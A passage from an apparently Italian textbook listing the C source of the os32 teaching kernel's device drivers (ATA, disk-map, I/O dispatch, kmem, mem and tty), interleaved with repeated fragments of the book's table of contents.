119.9.2 kernel/main/crt0.s 7344
119.9.3 kernel/main/kmain.c 7345
119.9.4 kernel/main/menu.c 7351
119.9.5 kernel/main/run.c 7352
119.9.6 kernel/main/stack.s 7353

119.10 os32: «kernel/memory.h» 7353

119.10.1 kernel/memory/mb_alloc.c 7360
119.10.2 kernel/memory/mb_alloc_size.c 7362
119.10.3 kernel/memory/mb_clean.c 7364
119.10.4 kernel/memory/mb_free.c 7364
119.10.5 kernel/memory/mb_print.c 7366
119.10.6 kernel/memory/mb_public.c 7368
119.10.7 kernel/memory/mb_reduce.c 7368
119.10.8 kernel/memory/mb_reference.c 7369
119.10.9 kernel/memory/mb_size.c 7369

119.11 os32: «kernel/multiboot.h» 7370

119.11.1 kernel/multiboot/mboot_public.c 7376
119.11.2 kernel/multiboot/mboot_save.c 7376

119.12 os32: «kernel/part.h» 7377

119.13 os32: «kernel/proc.h» 7384

119.13.1 kernel/proc/proc_available.c 7393
119.13.2 kernel/proc/proc_dump_memory.c 7394
119.13.3 kernel/proc/proc_init.c 7395
119.13.4 kernel/proc/proc_offset_data_to_pointer.c 7399
119.13.5 kernel/proc/proc_print.c 7399
119.13.6 kernel/proc/proc_public.c 7401
119.13.7 kernel/proc/proc_reference.c 7402
119.13.8 kernel/proc/proc_sch_signals.c 7402
119.13.9 kernel/proc/proc_sch_terminals.c 7403
119.13.10 kernel/proc/proc_sch_timers.c 7410
119.13.11 kernel/proc/proc_scheduler.c 7411

119.13.12 kernel/proc/proc_sig_chld.c 7415
119.13.13 kernel/proc/proc_sig_cont.c 7416
119.13.14 kernel/proc/proc_sig_core.c 7416
119.13.15 kernel/proc/proc_sig_handler.c 7418
119.13.16 kernel/proc/proc_sig_ignore.c 7422
119.13.17 kernel/proc/proc_sig_off.c 7423
119.13.18 kernel/proc/proc_sig_on.c 7423
119.13.19 kernel/proc/proc_sig_status.c 7423
119.13.20 kernel/proc/proc_sig_stop.c 7424
119.13.21 kernel/proc/proc_sig_term.c 7424
119.13.22 kernel/proc/proc_sys_exec.c 7425
119.13.23 kernel/proc/proc_timer_init.c 7440
119.13.24 kernel/proc/proc_wakeup_pipe_read.c 7441
119.13.25 kernel/proc/proc_wakeup_pipe_write.c 7441
119.13.26 kernel/proc/proc_wakeup_terminal.c 7442
119.13.27 kernel/proc/sysroutine.c 7443

119.3.1 kernel/dev/dev_ata.c

Si veda la sezione 118.3.3.

```
150001 #include <sys/os32.h>
150002 #include <kernel/dev.h>
150003 #include <kernel/blk.h>
150004 #include <kernel/driver/ata.h>
150005 #include <kernel/lib_k.h>
150006 #include <kernel/dm.h>
150007 #include <sys/types.h>
150008 #include <ctype.h>
150009 #include <errno.h>
150010 //----------------------------------------------------------------------
150011 ssize_t
150012 dev_ata (pid_t pid, dev_t device, int rw, off_t offset, void *buffer,
150013          size_t size, int *eof)
150014 {
150015     ssize_t        m;
150016     ssize_t        n           = 0;
150017     unsigned char *data_buffer = buffer;
150018     unsigned int   n_blk;
150019     int            i;
150020     int            j           = 0;
150021     char          *block;
150022     //
150023     // Read the first block.
150024     //
150025     n_blk = offset / BLK_SIZE;
150026     i     = offset % BLK_SIZE;
```

```
150027      //
150028      block = blk_ata (device, DEV_READ, n_blk, NULL);
150029      if (block == NULL)
150030        {
150031          errset (errno);
150032          return ((ssize_t) -1);
150033        }
150034      //
150035      // Read or write.
150036      //
150037      if (rw == DEV_READ)
150038        {
150039          while (size)
150040            {
150041              for (;
150042                   i < BLK_SIZE && size > 0;
150043                   i++, j++, n++, size--, offset++)
150044                {
150045                  data_buffer[j] = block[i];
150046                }
150047              if (size)
150048                {
150049                  n_blk = offset / BLK_SIZE;
150050                  i     = offset % BLK_SIZE;
150051                  block = blk_ata (device, DEV_READ, n_blk,
150052                                   NULL);
150053                  if (block == NULL)
150054                    {
150055                      errset (errno);
150056                      return (n);         // Up to the last block read.
150057                    }
150058                }
150059            }
150060        }
150061      else
150062        {
150063          //
150064          // Write.
150065          //
150066          while (size)
150067            {
150068              //
150069              // The last block was written, so update
150070              // the counter 'm'.
150071              //
150072              m = n;
150073              //
150074              for (;
150075                   i < BLK_SIZE && size > 0;
150076                   i++, j++, n++, size--, offset++)
150077                {
150078                  block[i] = data_buffer[j];
```

```
150079                  }
150080                block = blk_ata (device, DEV_WRITE, n_blk, block);
150081                if (block == NULL)
150082                  {
150083                    errset (errno);
150084                    return (m);     // Up to the last block written.
150085                  }
150086                if (size)
150087                  {
150088                    n_blk = offset / BLK_SIZE;
150089                    i     = offset % BLK_SIZE;
150090                    block = blk_ata (device, DEV_READ, n_blk,
150091                                     NULL);
150092                    if (block == NULL)
150093                      {
150094                        errset (errno);
150095                        return (m); // Up to the last block written.
150096                      }
150097                  }
150098              }
150099          }
150100        //
150101        // Everything was right, so 'n' is valid for both read or write.
150102        //
150103        return (n);
150104    }
```

119.3.2 kernel/dev/dev_dm.c

Si veda la sezione 118.3.2.

```
160001    #include <sys/os32.h>
160002    #include <kernel/dev.h>
160003    #include <kernel/driver/ata.h>
160004    #include <kernel/lib_k.h>
160005    #include <kernel/dm.h>
160006    #include <sys/types.h>
160007    #include <ctype.h>
160008    #include <errno.h>
160009    //----------------------------------------------------------------------
160010    ssize_t
160011    dev_dm (pid_t pid, dev_t device, int rw, off_t offset, void *buffer,
160012            size_t size, int *eof)
160013    {
160014        int     dev_minor   = minor (device);
160015        int     p           = dev_minor & 0x000F;
160016        int     d           = ((dev_minor & 0x00F0) >> 4);
160017        //
160018        // If it is a partition, must verify if such partition exists.
160019        //
160020        if (p)
```

```
160021         {
160022           //
160023           // It is a partition.
160024           //
160025           if (dm_table[d].part[p].type == PART_TYPE_NONE)
160026             {
160027               errset (ENODEV);
160028               return ((ssize_t) -1);
160029             }
160030         }
160031       //
160032       // Shift the offset to the start of partition.
160033       //
160034       offset += (dm_table[d].part[p].start);
160035       //
160036       // Call the right hardware driver.
160037       //
160038       switch (dm_table[d].type)
160039         {
160040           case DM_TYPE_ATA:
160041             return (dev_ata (pid, device, rw, offset, buffer, size, eof));
160042             break;
160043           default:
160044             errset (ENODEV);
160045             return ((ssize_t) -1);
160046         }
160047   }
```

119.3.3 kernel/dev/dev_io.c

Si veda la sezione 118.3.1.

```
170001   #include <sys/os32.h>
170002   #include <kernel/dev.h>
170003   #include <sys/types.h>
170004   #include <errno.h>
170005   #include <kernel/ibm_i386.h>
170006   #include <kernel/proc.h>
170007   #include <string.h>
170008   #include <signal.h>
170009   #include <kernel/lib_k.h>
170010   #include <ctype.h>
170011   #include <kernel/driver/tty.h>
170012   //----------------------------------------------------------------------
170013   ssize_t
170014   dev_io (pid_t pid, dev_t device, int rw, off_t offset,
170015           void *buffer, size_t size, int *eof)
170016   {
170017       int dev_major = major (device);
170018       if (rw != DEV_READ && rw != DEV_WRITE)
170019         {
```

```
170020            errset (EIO);
170021            return (-1);
170022          }
170023        switch (dev_major)
170024          {
170025            case DEV_MEM_MAJOR:
170026                return (dev_mem (pid, device, rw, offset, buffer, size,
170027                                 eof));
170028            case DEV_TTY_MAJOR:
170029                return (dev_tty (pid, device, rw, offset, buffer, size,
170030                                 eof));
170031            case DEV_CONSOLE_MAJOR:
170032                return (dev_tty (pid, device, rw, offset, buffer, size,
170033                                 eof));
170034            case DEV_DM_MAJOR:
170035                return (dev_dm (pid, device, rw, offset, buffer, size,
170036                                eof));
170037            case DEV_KMEM_MAJOR:
170038                return (dev_kmem (pid, device, rw, offset, buffer, size,
170039                                  eof));
170040            default:
170041                errset (ENODEV);
170042                return (-1);
170043          }
170044  }
```

119.3.4 kernel/dev/dev_kmem.c

«

Si veda la sezione 118.3.4.

```
180001  #include <sys/os32.h>
180002  #include <kernel/dev.h>
180003  #include <sys/types.h>
180004  #include <errno.h>
180005  #include <kernel/memory.h>
180006  #include <kernel/proc.h>
180007  #include <string.h>
180008  #include <signal.h>
180009  #include <ctype.h>
180010  //----------------------------------------------------------------------
180011  ssize_t
180012  dev_kmem (pid_t pid, dev_t device, int rw, off_t offset, void *buffer,
180013            size_t size, int *eof)
180014  {
180015      inode_t  *inode;
180016      sb_t     *sb;
180017      file_t   *file;
180018      void     *start;
180019      char     *m;
180020      //
180021      // Only read is allowed.
```

```
180022     //
180023     if (rw != DEV_READ)
180024       {
180025         errset (EIO);                           // I/O error.
180026         return ((ssize_t) -1);
180027       }
180028     //
180029     // Only positive offset is allowed.
180030     //
180031     if (offset < 0)
180032       {
180033         errset (EIO);                           // I/O error.
180034         return ((ssize_t) -1);
180035       }
180036     //
180037     // Read is selected (and is the only access allowed).
180038     //
180039     switch (device)
180040       {
180041         case DEV_KMEM_PS:
180042             //
180043             // Verify if the selected slot can be read.
180044             //
180045             if (offset >= PROCESS_MAX)
180046               {
180047                 errset (EIO);                   // I/O error.
180048                 return ((ssize_t) -1);
180049               }
180050             //
180051             // Correct the size to be read.
180052             //
180053             if (sizeof (proc_t) < size)
180054               {
180055                 size = sizeof (proc_t);
180056               }
180057             //
180058             // Get the pointer to the selected slot.
180059             //
180060             start = proc_reference ((pid_t) offset);
180061             break;
180062         case DEV_KMEM_MMP:
180063             //
180064             // Correct the size to be read.
180065             //
180066             if (offset >= (MEM_MAX_BLOCKS/8))
180067               {
180068                 *eof = 1;
180069                 errset (EIO);                           // I/O error.
180070                 return ((ssize_t) -1);
180071               }
180072             //
180073             // Reduce size if necessary.
```

```
180074                 //
180075                 if ((offset + size) > (MEM_MAX_BLOCKS/8))
180076                   {
180077                     size = ((MEM_MAX_BLOCKS/8) - offset);
180078                   }
180079                 //
180080                 // Get the pointer to the map: offset is not taken
180081                 // into consideration.
180082                 //
180083                 m = (char *) mb_reference ();
180084                 //
180085                 start = &m[offset];
180086                 //
180087                 break;
180088             case DEV_KMEM_SB:
180089                 //
180090                 // Verify if the selected slot can be read.
180091                 //
180092                 if (offset >= SB_MAX_SLOTS)
180093                   {
180094                     errset (EIO);                   // I/O error.
180095                     return ((ssize_t) -1);
180096                   }
180097                 //
180098                 // Get a reference to the super block table.
180099                 //
180100                 sb = sb_reference (0);
180101                 //
180102                 // Correct the size to be read.
180103                 //
180104                 if (sizeof (sb_t) < size)
180105                   {
180106                     size = sizeof (sb_t);
180107                   }
180108                 //
180109                 // Get the pointer to the selected super block slot.
180110                 //
180111                 start = &sb[offset];
180112                 break;
180113             case DEV_KMEM_INODE:
180114                 //
180115                 // Verify if the selected slot can be read.
180116                 //
180117                 if (offset >= INODE_MAX_SLOTS)
180118                   {
180119                     errset (EIO);                   // I/O error.
180120                     return ((ssize_t) -1);
180121                   }
180122                 //
180123                 // Get a reference to the inode table.
180124                 //
180125                 inode = inode_reference (0, 0);
```

```
180126                //
180127                // Correct the size to be read.
180128                //
180129                if (sizeof (inode_t) < size)
180130                  {
180131                    size = sizeof (inode_t);
180132                  }
180133                //
180134                // Get the pointer to the selected inode slot.
180135                //
180136                start = &inode[offset];
180137                break;
180138            case DEV_KMEM_FILE:
180139                //
180140                // Verify if the selected slot can be read.
180141                //
180142                if (offset >= FILE_MAX_SLOTS)
180143                  {
180144                    errset (EIO);                   // I/O error.
180145                    return ((ssize_t) -1);
180146                  }
180147                //
180148                // Get a reference to the file table.
180149                //
180150                file = file_reference (0);
180151                //
180152                // Correct the size to be read.
180153                //
180154                if (sizeof (file_t) < size)
180155                  {
180156                    size = sizeof (file_t);
180157                  }
180158                //
180159                // Get the pointer to the selected inode slot.
180160                //
180161                start = &file[offset];
180162                break;
180163            default:
180164                errset (ENODEV);            // No such device.
180165                return ((ssize_t) -1);
180166          }
180167        //
180168        // At this point, data is ready to be copied to the buffer.
180169        //
180170        memcpy (buffer, start, size);
180171        //
180172        // Return size read.
180173        //
180174        return (size);
180175    }
```

119.3.5 kernel/dev/dev_mem.c

Si veda la sezione 118.3.5.

```
190001 #include <sys/os32.h>
190002 #include <kernel/dev.h>
190003 #include <sys/types.h>
190004 #include <errno.h>
190005 #include <kernel/memory.h>
190006 #include <kernel/ibm_i386.h>
190007 #include <kernel/proc.h>
190008 #include <string.h>
190009 #include <signal.h>
190010 #include <kernel/lib_k.h>
190011 #include <ctype.h>
190012 //----------------------------------------------------------------------
190013 ssize_t
190014 dev_mem (pid_t pid, dev_t device, int rw, off_t offset, void *buffer,
190015          size_t size, int *eof)
190016 {
190017     uint8_t  *buffer08 = (uint8_t *) buffer;
190018     uint16_t *buffer16 = (uint16_t *) buffer;
190019     ssize_t n;
190020
190021     if      (device == DEV_MEM)                          // DEV_MEM
190022       {
190023         if (rw == DEV_READ)
190024           {
190025             memcpy (buffer, (void *) (int) offset, size);
190026             n = size;
190027           }
190028         else
190029           {
190030             if (pid == 0)
190031               {
190032                 memcpy ((void *) (int) offset, buffer, size);
190033                 n = size;
190034               }
190035             else
190036               {
190037                 k_printf ("kernel alert: only the kernel can write "
190038                           "the memory where it likes!\n");
190039                 errset (EIO);                         // I/O error.
190040                 return ((ssize_t) -1);
190041               }
190042           }
190043       }
190044     else if (device == DEV_NULL)                         // DEV_NULL
190045       {
190046         n = 0;
190047       }
190048     else if (device == DEV_ZERO)                         // DEV_ZERO
190049       {
```

```
190050           if (rw == DEV_READ)
190051             {
190052               for (n = 0; n < size; n++)
190053                 {
190054                   buffer08[n] = 0;
190055                 }
190056             }
190057           else
190058             {
190059               n = 0;
190060             }
190061         }
190062       else if (device == DEV_PORT)                         // DEV_PORT
190063         {
190064           if (rw == DEV_READ)
190065             {
190066               if (size == 1)
190067                 {
190068                   buffer08[0] = in_8 (offset);
190069                   n = 1;
190070                 }
190071               else if (size == 2)
190072                 {
190073                   buffer16[0] = in_16 (offset);
190074                   n = 2;
190075                 }
190076               else
190077                 {
190078                   n = 0;
190079                 }
190080             }
190081           else
190082             {
190083               if (size == 1)
190084                 {
190085                   out_8 (offset, buffer08[0]);
190086                 }
190087               else if (size == 2)
190088                 {
190089                   out_16 (offset, buffer16[0]);
190090                   n = 2;
190091                 }
190092               else
190093                 {
190094                   n = 0;
190095                 }
190096             }
190097         }
190098       else
190099         {
190100           errset (ENODEV);
190101           return ((ssize_t) -1);
```

```
190102         }
190103     return (n);
190104 }
```

119.3.6 kernel/dev/dev_tty.c

Si veda la sezione 118.3.6.

```
200001 #include <sys/os32.h>
200002 #include <kernel/dev.h>
200003 #include <sys/types.h>
200004 #include <errno.h>
200005 #include <kernel/memory.h>
200006 #include <kernel/ibm_i386.h>
200007 #include <kernel/proc.h>
200008 #include <string.h>
200009 #include <signal.h>
200010 #include <kernel/lib_k.h>
200011 #include <ctype.h>
200012 #include <kernel/driver/tty.h>
200013 //----------------------------------------------------------------------
200014 ssize_t
200015 dev_tty (pid_t pid, dev_t device, int rw, off_t offset, void *buffer,
200016          size_t size, int *eof)
200017 {
200018     uint8_t *buffer08 = (uint8_t *) buffer;
200019     ssize_t  n;
200020     proc_t  *ps;
200021     int      key;
200022     //
200023     // Get process. Variable 'ps' will be 'NULL' if the process ID is
200024     // not valid.
200025     //
200026     ps = proc_reference (pid);
200027     //
200028     // Convert 'DEV_TTY' with the controlling terminal for the process.
200029     //
200030     if (device == DEV_TTY)
200031       {
200032         device = ps->device_tty;
200033         //
200034         // As a last resort, use the generic 'DEV_CONSOLE'.
200035         //
200036         if (device == DEV_UNDEFINED || device == DEV_TTY)
200037           {
200038             device = DEV_CONSOLE;
200039           }
200040       }
200041     //
200042     // Convert 'DEV_CONSOLE' to the currently active console.
200043     //
```

```
200044      if (device == DEV_CONSOLE)
200045        {
200046          device = tty_console ((dev_t) 0);
200047          //
200048          // As a last resort, use the first console: 'DEV_CONSOLE0'.
200049          //
200050          if (device == DEV_UNDEFINED || device == DEV_TTY)
200051            {
200052              device = DEV_CONSOLE0;
200053            }
200054        }
200055      //
200056      // Read or write.
200057      //
200058      if (rw == DEV_READ)
200059        {
200060          for (n = 0; n < size; n++)
200061            {
200062              key = tty_read (device);
200063              if (key == -1)
200064                {
200065                  if (n == 0)
200066                    {
200067                      //
200068                      // There is just nothing to read:
200069                      // if the pid is not the kernel, should put the
200070                      // process to sleep, waiting for some input.
200071                      //
200072                      if (pid == 0 || ps == NULL)
200073                        {
200074                          //
200075                          // For the kernel there is no sleep and for an
200076                          // unidentified process, either.
200077                          //
200078                          break;
200079                        }
200080                      //
200081                      // Put the process to sleep.
200082                      //
200083                      ps->status          = PROC_SLEEPING;
200084                      ps->ret             = 0;
200085                      ps->wakeup_events   = WAKEUP_EVENT_TTY;
200086                      ps->wakeup_signal   = 0;
200087                      ps->wakeup_timer    = 0;
200088                      //
200089                      break;
200090                    }
200091                  else
200092                    {
200093                      //
200094                      // Finished to read.
200095                      //
```

```
200096                        break;
200097                      }
200098                  }
200099                else
200100                  {
200101                    buffer08[n] = key;
200102                  }
200103              }
200104          }
200105        else
200106          {
200107            for (n = 0; n < size; n++)
200108              {
200109                tty_write (device, (int) buffer08[n]);
200110              }
200111          }
200112        return (n);
200113  }
```

119.4 os32: «kernel/dm.h»

Si veda la sezione 118.4.

```
210001  #ifndef _KERNEL_DM_H
210002  #define _KERNEL_DM_H     1
210003  //----------------------------------------------------------------------
210004  #include <stdint.h>
210005  #include <sys/types.h>
210006  #include <kernel/part.h>
210007  //----------------------------------------------------------------------
210008  #define DM_MAX_DEVICES    4
210009  #define DM_TYPE_NONE      0
210010  #define DM_TYPE_ATA       1
210011  //
210012  typedef struct {
210013      int   type;
210014      void *table;
210015      struct {
210016          off_t   start;
210017          size_t  size;
210018          uint8_t type;
210019      } part[PART_MAX+1];
210020  } dm_t;
210021  //
210022  extern dm_t dm_table[DM_MAX_DEVICES];
210023  //----------------------------------------------------------------------
210024  void   dm_init   (void);
210025  //----------------------------------------------------------------------
210026  #endif
```

119.1 os32: directory principale 7031

119.1.1 applic.sep.ld 7031
119.1.2 bochs 7032
119.1.3 elf-to-os32 7032
119.1.4 kernel.ld 7034
119.1.5 makeit.sep 7035
119.1.6 qemu 7042

119.2 os32: «kernel/blk.h» 7043

119.2.1 kernel/blk/blk_ata.c 7050
119.2.2 kernel/blk/blk_cache_check.c 7052
119.2.3 kernel/blk/blk_cache_init.c 7052
119.2.4 kernel/blk/blk_cache_read.c 7053
119.2.5 kernel/blk/blk_cache_save.c 7054
119.2.6 kernel/blk/blk_public.c 7055

119.3 os32: «kernel/dev.h» 7055

119.3.1 kernel/dev/dev_ata.c 7062
119.3.2 kernel/dev/dev_dm.c 7064
119.3.3 kernel/dev/dev_io.c 7065
119.3.4 kernel/dev/dev_kmem.c 7066
119.3.5 kernel/dev/dev_mem.c 7070
119.3.6 kernel/dev/dev_tty.c 7072

119.4 os32: «kernel/dm.h» 7074

119.4.1 kernel/dm/dm_init.c 7080
119.4.2 kernel/dm/dm_public.c 7083
119.4.3 kernel/driver/ata.h 7083
119.4.4 kernel/driver/ata/ata_cmd_identify_device.c 7086
119.4.5 kernel/driver/ata/ata_cmd_read_sectors.c 7087
119.4.6 kernel/driver/ata/ata_cmd_write_sectors.c 7089
119.4.7 kernel/driver/ata/ata_device.c 7091
119.4.8 kernel/driver/ata/ata_drq.c 7092
119.4.9 kernel/driver/ata/ata_init.c 7093
119.4.10 kernel/driver/ata/ata_lba28.c 7098
119.4.11 kernel/driver/ata/ata_public.c 7099
119.4.12 kernel/driver/ata/ata_rdy.c 7099
119.4.13 kernel/driver/ata/ata_reset.c 7101
119.4.14 kernel/driver/ata/ata_valid.c 7101
119.4.15 kernel/driver/kbd.h 7102

119.4.16 kernel/driver/kbd/kbd_isr.c 7102
119.4.17 kernel/driver/kbd/kbd_load.c 7104
119.4.18 kernel/driver/kbd/kbd_public.c 7106
119.4.19 kernel/driver/screen.h 7106
119.4.20 kernel/driver/screen/screen_clear.c 7107
119.4.21 kernel/driver/screen/screen_current.c 7108
119.4.22 kernel/driver/screen/screen_init.c 7108
119.4.23 kernel/driver/screen/screen_new_line.c 7109
119.4.24 kernel/driver/screen/screen_number.c 7110
119.4.25 kernel/driver/screen/screen_pointer.c 7111
119.4.26 kernel/driver/screen/screen_public.c 7111
119.4.27 kernel/driver/screen/screen_putc.c 7111
119.4.28 kernel/driver/screen/screen_scroll.c 7113
119.4.29 kernel/driver/screen/screen_select.c 7114
119.4.30 kernel/driver/screen/screen_update.c 7114
119.4.31 kernel/driver/tty.h 7116
119.4.32 kernel/driver/tty/tty_console.c 7116
119.4.33 kernel/driver/tty/tty_init.c 7117
119.4.34 kernel/driver/tty/tty_public.c 7119
119.4.35 kernel/driver/tty/tty_read.c 7119
119.4.36 kernel/driver/tty/tty_reference.c 7120
119.4.37 kernel/driver/tty/tty_write.c 7121

119.5 os32: «kernel/fs.h» 7121

119.5.1 kernel/fs/fd_dup.c 7131
119.5.2 kernel/fs/fd_reference.c 7133
119.5.3 kernel/fs/file_pipe_make.c 7134
119.5.4 kernel/fs/file_reference.c 7135
119.5.5 kernel/fs/file_stdio_dev_make.c 7136
119.5.6 kernel/fs/file_table.c 7137
119.5.7 kernel/fs/fs_init.c 7137
119.5.8 kernel/fs/inode_alloc.c 7137
119.5.9 kernel/fs/inode_check.c 7141
119.5.10 kernel/fs/inode_dir_empty.c 7142
119.5.11 kernel/fs/inode_file_read.c 7144
119.5.12 kernel/fs/inode_file_write.c 7146
119.5.13 kernel/fs/inode_free.c 7148
119.5.14 kernel/fs/inode_fzones_read.c 7149
119.5.15 kernel/fs/inode_fzones_write.c 7151
119.5.16 kernel/fs/inode_get.c 7152

119.5.17 kernel/fs/inode_pipe_make.c 7155
119.5.18 kernel/fs/inode_pipe_read.c 7157
119.5.19 kernel/fs/inode_pipe_write.c 7159
119.5.20 kernel/fs/inode_print.c 7161
119.5.21 kernel/fs/inode_put.c 7163
119.5.22 kernel/fs/inode_reference.c 7164
119.5.23 kernel/fs/inode_save.c 7166
119.5.24 kernel/fs/inode_stdio_dev_make.c 7167
119.5.25 kernel/fs/inode_table.c 7169
119.5.26 kernel/fs/inode_truncate.c 7169
119.5.27 kernel/fs/inode_zone.c 7172
119.5.28 kernel/fs/path_device.c 7180
119.5.29 kernel/fs/path_fix.c 7181
119.5.30 kernel/fs/path_full.c 7183
119.5.31 kernel/fs/path_inode.c 7184
119.5.32 kernel/fs/path_inode_link.c 7188
119.5.33 kernel/fs/sb_inode_status.c 7193
119.5.34 kernel/fs/sb_mount.c 7194
119.5.35 kernel/fs/sb_print.c 7197
119.5.36 kernel/fs/sb_public.c 7198
119.5.37 kernel/fs/sb_reference.c 7198
119.5.38 kernel/fs/sb_save.c 7199
119.5.39 kernel/fs/sb_zone_status.c 7201
119.5.40 kernel/fs/zone_alloc.c 7202
119.5.41 kernel/fs/zone_free.c 7203
119.5.42 kernel/fs/zone_print.c 7204
119.5.43 kernel/fs/zone_read.c 7205
119.5.44 kernel/fs/zone_write.c 7206

119.6 os32: «kernel/ibm_i386.h» 7207

119.6.1 kernel/ibm_i386/_in_32.s 7217
119.6.2 kernel/ibm_i386/_in_16.s 7218
119.6.3 kernel/ibm_i386/_in_8.s 7218
119.6.4 kernel/ibm_i386/_out_32.s 7219
119.6.5 kernel/ibm_i386/_out_16.s 7219
119.6.6 kernel/ibm_i386/_out_8.s 7220
119.6.7 kernel/ibm_i386/cli.s 7220
119.6.8 kernel/ibm_i386/gdt.c 7221
119.6.9 kernel/ibm_i386/gdt_load.s 7222
119.6.10 kernel/ibm_i386/gdt_print.c 7222

119.6.11 kernel/ibm_i386/gdt_public.c . . . 7223
119.6.12 kernel/ibm_i386/gdt_segment.c . . . 7223
119.6.13 kernel/ibm_i386/idt.c . . . 7224
119.6.14 kernel/ibm_i386/idt_descriptor.c . . . 7226
119.6.15 kernel/ibm_i386/idt_irq_remap.c . . . 7227
119.6.16 kernel/ibm_i386/idt_load.s . . . 7228
119.6.17 kernel/ibm_i386/idt_print.c . . . 7228
119.6.18 kernel/ibm_i386/idt_public.c . . . 7229
119.6.19 kernel/ibm_i386/irq_off.c . . . 7229
119.6.20 kernel/ibm_i386/irq_on.c . . . 7230
119.6.21 kernel/ibm_i386/isr.s . . . 7231
119.6.22 kernel/ibm_i386/isr_exception_name.c . . . 7245
119.6.23 kernel/ibm_i386/isr_exception_unrecoverable.c . . . 7246
119.6.24 kernel/ibm_i386/isr_irq_clear.c . . . 7246
119.6.25 kernel/ibm_i386/isr_irq_clear_pic1.c . . . 7247
119.6.26 kernel/ibm_i386/isr_irq_clear_pic2.c . . . 7247
119.6.27 kernel/ibm_i386/sti.s . . . 7247

119.7 os32: «kernel/lib_k.h» . . . 7248

119.7.1 kernel/lib_k/k_exit.s . . . 7254
119.7.2 kernel/lib_k/k_gets.c . . . 7255
119.7.3 kernel/lib_k/k_perror.c . . . 7255
119.7.4 kernel/lib_k/k_printf.c . . . 7256
119.7.5 kernel/lib_k/k_sleep.c . . . 7256
119.7.6 kernel/lib_k/k_stime.c . . . 7257
119.7.7 kernel/lib_k/k_vprintf.c . . . 7257
119.7.8 kernel/lib_k/k_vsprintf.c . . . 7258

119.8 os32: «kernel/lib_s.h» . . . 7259

119.8.1 kernel/lib_s/s__exit.c . . . 7266
119.8.2 kernel/lib_s/s_brk.c . . . 7269
119.8.3 kernel/lib_s/s_chdir.c . . . 7275
119.8.4 kernel/lib_s/s_chmod.c . . . 7276
119.8.5 kernel/lib_s/s_chown.c . . . 7277
119.8.6 kernel/lib_s/s_clock.c . . . 7278
119.8.7 kernel/lib_s/s_close.c . . . 7278
119.8.8 kernel/lib_s/s_dup.c . . . 7280
119.8.9 kernel/lib_s/s_dup2.c . . . 7280
119.8.10 kernel/lib_s/s_fchmod.c . . . 7281
119.8.11 kernel/lib_s/s_fchown.c . . . 7282

119.8.12 kernel/lib_s/s_fcntl.c 7283
119.8.13 kernel/lib_s/s_fork.c 7285
119.8.14 kernel/lib_s/s_fstat.c 7291
119.8.15 kernel/lib_s/s_kill.c 7292
119.8.16 kernel/lib_s/s_link.c 7295
119.8.17 kernel/lib_s/s_longjmp.c 7296
119.8.18 kernel/lib_s/s_lseek.c 7297
119.8.19 kernel/lib_s/s_mkdir.c 7299
119.8.20 kernel/lib_s/s_mknod.c 7301
119.8.21 kernel/lib_s/s_mount.c 7303
119.8.22 kernel/lib_s/s_open.c 7304
119.8.23 kernel/lib_s/s_pipe.c 7310
119.8.24 kernel/lib_s/s_read.c 7312
119.8.25 kernel/lib_s/s_sbrk.c 7315
119.8.26 kernel/lib_s/s_setegid.c 7316
119.8.27 kernel/lib_s/s_seteuid.c 7317
119.8.28 kernel/lib_s/s_setgid.c 7317
119.8.29 kernel/lib_s/s_setjmp.c 7318
119.8.30 kernel/lib_s/s_setuid.c 7319
119.8.31 kernel/lib_s/s_signal.c 7320
119.8.32 kernel/lib_s/s_stat.c 7321
119.8.33 kernel/lib_s/s_stime.c 7323
119.8.34 kernel/lib_s/s_tcgetattr.c 7323
119.8.35 kernel/lib_s/s_tcsetattr.c 7325
119.8.36 kernel/lib_s/s_time.c 7326
119.8.37 kernel/lib_s/s_umount.c 7327
119.8.38 kernel/lib_s/s_unlink.c 7329
119.8.39 kernel/lib_s/s_wait.c 7333
119.8.40 kernel/lib_s/s_write.c 7334

119.9 os32: «kernel/main.h» 7337

119.9.1 kernel/main/build.h 7344
119.9.2 kernel/main/crt0.s 7344
119.9.3 kernel/main/kmain.c 7345
119.9.4 kernel/main/menu.c 7351
119.9.5 kernel/main/run.c 7352
119.9.6 kernel/main/stack.s 7353

119.10 os32: «kernel/memory.h» 7353

119.10.1 kernel/memory/mb_alloc.c 7360

119.10.2 kernel/memory/mb_alloc_size.c 7362
119.10.3 kernel/memory/mb_clean.c 7364
119.10.4 kernel/memory/mb_free.c 7364
119.10.5 kernel/memory/mb_print.c 7366
119.10.6 kernel/memory/mb_public.c 7368
119.10.7 kernel/memory/mb_reduce.c 7368
119.10.8 kernel/memory/mb_reference.c 7369
119.10.9 kernel/memory/mb_size.c 7369

119.11 os32: «kernel/multiboot.h» 7370

119.11.1 kernel/multiboot/mboot_public.c 7376
119.11.2 kernel/multiboot/mboot_save.c 7376

119.12 os32: «kernel/part.h» 7377

119.13 os32: «kernel/proc.h» 7384

119.13.1 kernel/proc/proc_available.c 7393
119.13.2 kernel/proc/proc_dump_memory.c 7394
119.13.3 kernel/proc/proc_init.c 7395
119.13.4 kernel/proc/proc_offset_data_to_pointer.c 7399
119.13.5 kernel/proc/proc_print.c 7399
119.13.6 kernel/proc/proc_public.c 7401
119.13.7 kernel/proc/proc_reference.c 7402
119.13.8 kernel/proc/proc_sch_signals.c 7402
119.13.9 kernel/proc/proc_sch_terminals.c 7403
119.13.10 kernel/proc/proc_sch_timers.c 7410
119.13.11 kernel/proc/proc_scheduler.c 7411
119.13.12 kernel/proc/proc_sig_chld.c 7415
119.13.13 kernel/proc/proc_sig_cont.c 7416
119.13.14 kernel/proc/proc_sig_core.c 7416
119.13.15 kernel/proc/proc_sig_handler.c 7418
119.13.16 kernel/proc/proc_sig_ignore.c 7422
119.13.17 kernel/proc/proc_sig_off.c 7423
119.13.18 kernel/proc/proc_sig_on.c 7423
119.13.19 kernel/proc/proc_sig_status.c 7423
119.13.20 kernel/proc/proc_sig_stop.c 7424
119.13.21 kernel/proc/proc_sig_term.c 7424
119.13.22 kernel/proc/proc_sys_exec.c 7425
119.13.23 kernel/proc/proc_timer_init.c 7440
119.13.24 kernel/proc/proc_wakeup_pipe_read.c 7441
119.13.25 kernel/proc/proc_wakeup_pipe_write.c 7441

119.13.26 kernel/proc/proc_wakeup_terminal.c 7442
119.13.27 kernel/proc/sysroutine.c 7443

119.4.1 kernel/dm/dm_init.c

Si veda la sezione 118.4.

```
220001 #include <kernel/dm.h>
220002 #include <kernel/part.h>
220003 #include <kernel/driver/ata.h>
220004 #include <kernel/lib_k.h>
220005 #include <stdint.h>
220006 #include <errno.h>
220007 //----------------------------------------------------------------------
220008 void
220009 dm_init (void)
220010 {
220011     int            d;
